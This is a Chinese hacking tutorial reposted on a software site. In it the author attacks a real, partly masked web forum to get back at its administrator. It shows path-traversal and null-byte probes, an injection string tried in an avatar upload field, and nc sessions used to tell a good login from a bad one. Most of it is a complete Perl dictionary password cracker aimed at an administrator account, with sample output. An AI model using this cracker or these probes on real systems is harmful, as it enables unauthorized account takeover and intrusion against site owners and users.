登录社区:用户名: 密码: 忘记密码 网页功能:加入收藏 设为首页 网站搜索  

文档

下载

图书

论坛

安全

源码

硬件

游戏
首页 信息 空间 VB VC Delphi Java Flash 补丁 控件 安全 黑客 电子书 笔记本 手机 MP3 杀毒 QQ群 产品库 分类信息 编程网站
 内容搜索 网页 下载 源代码
热点文章
  一次简单脚本攻击实例
  我是这样渗透入侵孤独剑客网..
  入侵日记一则
  入侵日记一则
  老式模拟手机密码破解
  老式模拟手机密码破解
  中国鹰派联盟
  初级黑客安全技术命令详解
  如何利用终端服务入侵远程计..
  如何利用终端服务入侵远程计..
  “流光异彩”话小榕
  一次入侵过程
本站原创
最新招聘信息

您现在的位置:立华软件园->安全防线->黑客教学
一次简单脚本攻击实例
发表日期:2006-03-12作者:the0crat[转贴] 出处:安全焦点  

###########################################################################
一次简单脚本攻击实例
作  者:HBU小组·the0crat
E-Mail:the0crat@hotmail.com
日  期:2003/8/18
###########################################################################

一、开篇
今天闲着无聊,到本地区的一个社区上转转,那些人污言秽语的,有个帖子还侵犯了一个朋友的版权,跟贴说了那人几句,管理员也不管,实在看不下去了,打算给管理员盆冷水清醒清醒

二、准备/分析
安全第一,先开个HTTP代理,打开社区的登陆页面,看到上面显示的URL是http://www.****bbs.com/login.cgi
打开页面的源代码,找到登陆的关键几句:
<form action="login.cgi" method="post">
<input type="hidden" name="menu" value="login">
<input type="hidden" name="id" value="">
用户名:<input size="25" name="username" class="i06">
密 码:<input type="password" size="25" value name="userpsd" class="i06">
</form>
所以,提交登陆信息的URL应该是http://wwww.****bbs.com/login.cgi?username=ID&userpsd=PWD&menu=login&id=

习惯先查看用户信息,因为一般情况下用户名和密码都是紧连着保存在一起的,在这里我们更容易接近我们想要的信息。提交如下URL查看silkroad用户信息:
http://www.****bbs.com/yhreg.cgi?menu=viewuser&username=silkroad
返回正常用户信息

http://www.****bbs.com/yhreg.cgi?menu=viewuser&username=./silkroad
同样返回正常用户信息,看来.和/已经被过滤掉了

http://www.****bbs.com/yhreg.cgi?menu=viewuser&username=silkroad%00
提示此用户没有被注册 :(

扫描看看,有FTP弱口令~可惜是anonymous,价值不大

回到CGI上,只在http://www.****bbs.com/rank.cgi这上面发现用的是Yuzi的BBS3000。下面也可以下载BBS3000分析源代码,但比较费时间,我们先到几处敏感的地方看看
http://www.****bbs.com/photo.cgi可以上传头像
由于头像的显示是<img src=***></img>
关键就在***这里,即图片的连接
在要上传的头像的输入栏中填入</img>qq~;open F,">the0crat.txt";<img src=>.gif试试,提交,没有任何提示,程序也没对图片进行任何改变

换个角度来看,既不分析源代码,也不入侵目标服务器,那么还是来试试探测探测社区管理员的密码,难说我今天运气比较好 :)
当然社区上的管理员也不会是白痴,不会设个空密码等你去玩。提到探测论坛ID的密码,大家首先想到的是什么?下载个又大又没趣的黑客软件来挂个字典?难道就没有点想要自己动手写一个脚本来破密码的冲动?嘿嘿。现在就教你自己动手一步一步来对密码进行探测  :)

密码探测的一般方法是
     ①取得预进行猜测的密码列表
                 |
                 |
                 |
      ②向目标依次提交密码       <---------
                 |                        |
                 |                        |
                 |                        |
③根据目标的响应判断密码是否正确         |
           |           |                  |
           |           |                  |
           |           |                  |
        密码正确    密码错误              |
           |           |                  |
           |           |                  |
           |           |                  |
     返回给用户密码   Next-----------------

第三步要绕个圈子,其他的几步用程序就能很简单的实现
所以先从第三步开始:
我不了解别的那些程序是怎么进行判断的,估计是先取得成功登陆和密码错误的两个页面的代码,然后对比它们的不同点,可能还有别的办法,可我还没想到~~~:)
所以,首先注册个ID,帐号asdfasdf,密码asdfasdf,根据前面取得的信息,此ID提交的URL为http://www.****bbs.com/login.cgi?username=asdfasdf&userpsd=asdfasdf&menu=login&id=,"username="这后面的是用户ID,"userpsd="这后面是用户密码,然后登出社区
现在用telnet去取得我们想要的信息:

F:\>nc -vv www.****bbs.com 80               <<<-----用nc连接目标WEB服务的端口,别说你不知道nc是什么,嘿嘿
Warning: inverse host lookup failed for ***.***.***.***: h_errno 11004: NO_DATA

www.****bbs.com [***.***.***.***] 80 (http) open
GET http://www.****bbs.com/login.cgi?username=asdfasdf&userpsd=error&menu=login&id= HTTP/1.1 <Enter>          <<<-------这里用到前面提到的提交用户登陆信息的URL,但用的是错误密码
host:iis-server <Enter><Enter>

HTTP/1.1 200 OK
Date: Mon, 18 Aug 2003 11:59:41 GMT
Server: Apache/1.3.26 (Unix) PHP/4.0.6
Transfer-Encoding: chunked
Content-Type: text/html

fe7                                 <<<------------注意这个
<html>
<head>
<meta http-equiv=Content-Type content=text/html; charset=gb2312>
<link REL="SHORTCUT ICON" href=http://www.****bbs.com/pic/ybb.ico>
......

这个是非成功登陆后返回的信息
再来:

F:\>nc -vv www.****bbs.com 80
Warning: inverse host lookup failed for ***.***.***.***: h_errno 11004: NO_DATA

www.****bbs.com [***.***.***.***] 80 (http) open
GET http://www.****bbs.com/login.cgi?username=asdfasdf&userpsd=asdfasdf&menu=login&id= HTTP/1.1       <<<-------这次用的是正确的密码
host:iis-server

HTTP/1.1 200 OK
Date: Mon, 18 Aug 2003 12:09:43 GMT
Server: Apache/1.3.26 (Unix) PHP/4.0.6
Transfer-Encoding: chunked
Content-Type: text/html

18d                 <<<------------注意这个
<html><head><meta http-equiv=Content-Type content=text/html; charset=gb2312>
<SCRIPT>
expireDate=new Date;
expireDate.setYear(expireDate.getYear()+1);
......

这个是成功登陆后返回的信息

返回的信息的第七行"fe7"和"18d"不同,我们就从这里下手

现在到社区的管理团队上看看管理员的ID,其中一个管理员的ID是“秘密”

三、程序代码/代码解析
思路(步骤):
取得IP ---> 打开字典,字典里每一行一个密码 ---> socket() ---> connect() ---> 向目标主机WEB端口提交数据,此数据中所提交的密码用一个变量来代替,这个变量就是字典里的密码 ---> 将返回的信息保存,用先前提到的登陆成功/失败返回信息的不同点进行对比,判断是否登陆成功,即密码是否正确 ---> [ 当前密码正确--->输出正确的密码并退出程序; 当前密码错误--->从第二步骤开始重复,直到密码正确或试完字典里的所有密码 ]

#!/usr/bin/perl
#################################
#Password Cracker
#Author:HBU-the0crat
#E-mail:the0crat@hotmail.com
#Date:2003/8/18
#################################

use Socket;   #使用Socket模块

my $ARGC=@ARGV;   #取得参数的数量
if($ARGC!=1){print "\nPassword Cracker Tool By HBU-the0crat\nUsage:$0 TargetIP\n";exit;}

my $host=shift;   #获取主机IP
print "\nSending...";

open(FH,"<dic.dic");    #挂字典

while(<FH>)   #读取字典
{
chomp;
my $pwd=$_;
my $req="GET http://www.****bbs.com/login.cgi?username=asdfasdf&userpsd=$pwd&menu=login&id= HTTP/1.1\n"."host:iis-server\n\n";   #提交的信息

my @res=sendraw($req);   #将目标服务器返回的信息保存为数组

if($res[6]=~/fe7/g)  #从@res数组中取得所返回信息的第7行,并进行判断。判断依据:前文中用telnet所获知的用来判断密码是否正确的字符
{print "\npwd:$pwd error";}   #如果返回的信息中的第7行中包含fe7这三个字符,则在屏幕上打印出密码错误的信息
else
{
print "\npwd:$pwd passed";   #因为成功登陆后返回的信息中的第7行不包含fe7这三个字符,所以如果第7行中不包含fe7这三个字符就表示登陆成功,即密码正确
close(FH);
exit;   #探测到正确密码立刻退出
}

}   #对比判断是否登陆成功的循环
close(FH);

sub sendraw {
my ($req2) = @_;
my $target;
$target = inet_aton($host) or die "\ninet_aton problems";   #转换目标IP
socket(Handle,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) or die "\nSocket problems\n";   #Socket
if(connect(Handle,pack "SnA4x8",2,80,$target)){   #此例中为80端口,根据实际情况更改
select(Handle);
$| = 1;
print $req2;   #向目标服务器提交登陆资料
my @res2 = <Handle>;   #取得目标服务器返回的信息
select(STDOUT);
close(Handle);
return @res2;   #将目标服务器返回的信息作为sendraw()函数的返回值
}
else {
die("\nCan't connect to $host:80...\n");
}
}

四、演示
dic.dic内容如下:
asdf
asdfasdf
asdfa
运行这个脚本(win2k+activeperl5.6下通过)
C:\>cracker.pl www.****bbs.com

Sending...
pwd:asdf error
pwd:asdfasdf passed

程序探测到正确密码后退出...:)

注意要根据实际情况更改提交的信息和判断依据,以及WEB端口

挂个字典,就可以慢慢等密码出来了,然而更多时候是取决于你的运气

五、总结
弊:这段代码用的是单线程,所以在探测的速度上不是很理想,有兴趣的可以去改改,在没有使用跳板的情况下对自己不安全,而且成功率很大程度上取决于你的运气
利:这种方法比较有效, 但也是比较没有效率的密码破解方式

六、结尾
感谢各位对我的支持,特别感谢小金和明明可爱给予的帮助,才使得这篇文章得以与大家见面 :)

本文只可研究学习,本人对因这篇文章而导致的一切后果,不承担任何法律责任。

我来说两句】 【发送给朋友】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 一次简单脚本攻击实例
关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放 / 友情链接

Copyright ©2001-2003 Allrights reserved
e_mail:站长:webmaster(at)lihuasoft.net
网站编程QQ群  
京ICP备05001064号

页面生成时间:0.00648